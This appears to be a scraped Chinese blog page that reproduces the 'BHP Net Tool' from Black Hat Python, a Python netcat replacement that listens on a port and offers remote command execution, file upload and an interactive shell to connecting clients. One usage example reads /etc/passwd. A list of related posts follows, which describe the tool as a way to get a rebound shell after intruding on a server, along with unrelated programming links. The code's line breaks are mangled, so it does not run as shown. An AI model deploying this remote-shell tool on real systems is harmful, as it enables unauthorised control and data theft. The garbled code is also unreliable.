#导入需要用到的包
import sys
import getopt
import threading
import socket
import subprocess #定义全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0 def usage():
print('''BHP Net Tool usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming connections
-e --execute - execute the given file upon receiving a connection
-c --command - initialize a command shell
-u --upload = destination - upon receiving connection upload a file and write to [destination] Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=cat /etc/passwd
echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135
''')
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机 client.connect((target,port)) if len(buffer):
client.send(buffer.encode()) while True: #等待数据回传
recv_len = 1
response = '' while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+=data.decode() if recv_len < 4096:
break print(response,end='') #等待输入
buffer = input('')
buffer +='\n' #发送出去 client.send(buffer.encode()) except Exception as e:
print(str(e))
print('[*] Exception ! Exiting .')
client.close() def server_loop():
global target if not target:
target = '0.0.0.0' server = socket.socket()
server.bind((target,port))
server.listen(255) while True:
client_socket,addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start() def client_handler(client_socket):
global upload
global execute
global command if len(upload_destination):
#检测上传文件 file_buffer = '' #持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break else:
file_buffer += data.decode()
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send('Sucessfully saved file to %s\r\n'.encode() % upload_destination) except Exception as e:
print(str(e))
print('Failed to save file to %s\r\n' % upload_destination) if len(execute):
output = run_command(execute) client_socket.send(output.encode()) if command:
while True:
client_socket.send("<BHP:#> ".encode())
cmd_buff = ''
while '\n' not in cmd_buff:
cmd_buff += client_socket.recv(1024).decode()
response = run_command(cmd_buff) client_socket.send(response) def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell = True) except Exception as e:
print(str(e))
print('Failed to execute command.') return output def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port if not len(sys.argv[1:]): #如果没有参数则打印帮助信息
usage() try:
options,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage() for o,a in options:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else :
assert False,"Unhandled Option" if not listen and len(target) and port > 0 :
buffer = sys.stdin.read() client_sender(buffer) if listen :
server_loop()
main()

BHP Net Tool的更多相关文章

  1. 取代netcat

    前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...

  2. python黑帽子

    1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...

  3. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  4. Black Hat Python之#1:制作简单的nc工具

    nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...

  5. [免费了] SailingEase .NET Resources Tool (.NET 多语言资源编辑器)

    这是我2010年左右,写 Winform IDE (http://www.cnblogs.com/sheng_chao/p/4387249.html)项目时延伸出的一个小项目. 最初是以共享软件的形式 ...

  6. jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the install tool.

    jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the ...

  7. mtk flash tool,Win7 On VirtualBox

    SP_Flash_Tool_exe_Windows_v5.1624.00.000 Win7 在 VirtualBox, 安裝 mtk flash tool, v5.1628 在燒錄時會 fail. v ...

  8. 使用Microsoft Web Application Stress Tool对web进行压力测试

    Web压力测试是目前比较流行的话题,利用Web压力测试可以有效地测试一些Web服务器的运行状态和响应时间等等,对于Web服务器的承受力测试是个非常好的手法.Web 压力测试通常是利用一些工具,例如微软 ...

  9. How to Use Android ADB Command Line Tool

    Android Debug Bridge (adb) is a tool that lets you manage the state of an emulator instance or Andro ...

随机推荐

  1. vs连接服务器sql server数据库 web.config和代码

    方法一.在web.config里面配置,后连接数据库 (1)web.config文件:加在<connectionStrings>和</connectionStrings> 之间 ...

  2. Xcode 7如何 免费 真机调试iOS应用

    运行Xcode后,点击菜单中的Preferences…进入Accounts标签,这里选择添加Apple ID: 在弹出的对话框中登入你的Apple ID,没有的话去注册一个就是了,登录成功后会看到下面 ...

  3. jQuery深层次复制对象

    <script type="text/javascript" src="http://libs.baidu.com/jquery/1.9.1/jquery.min. ...

  4. PreparedStatement

    PreparedStatement > 它是Statement接口的子接口: >强大之处: 防SQL攻击: 提高代码的可读性.可维护性: 提高效率! l 学习PreparedStateme ...

  5. 6、Android之LayoutInflater.inflate()

    LayoutInflater.inflate()的作用就是将一个xml定义的布局文件实例化为view控件对象: 与findViewById区别: LayoutInflater.inflate是加载一个 ...

  6. MVC中使用js拼接的元素验证问题

    MVC使用的验证方式本质上是jquery.validation js  拼接的格式如下: <input class='required' title='请输入项目名称!' id='Project ...

  7. QM UML状态机建模实例之Blinky for cortex-m0

    简介:QP由Quantum Leaps公司开发异于传统顺序式系统(前后台架构即main+ISR)和传统多任务系统(操作系统)的事件驱动型状态机框架,实现了在C语言下的面向对象编程,该框架支持有限状态机 ...

  8. ios控制器生命周期详解

    #import "MyOneViewController.h" @interface MyOneViewController () @property (nonatomic, st ...

  9. React学习——ListView组件

    (草稿) 先把代码放上来,再补充说明 <!DOCTYPE html> <html> <head> <title>React ListView</t ...

  10. 安装Eclipse环境变量的配置,

    window7系统下的 步骤:    第一步:先安装JDK(记住你安装的位置)我安装在D:\Program Files\Java           目录下. 第二步:JDK安装好后,配置环境变量(重 ...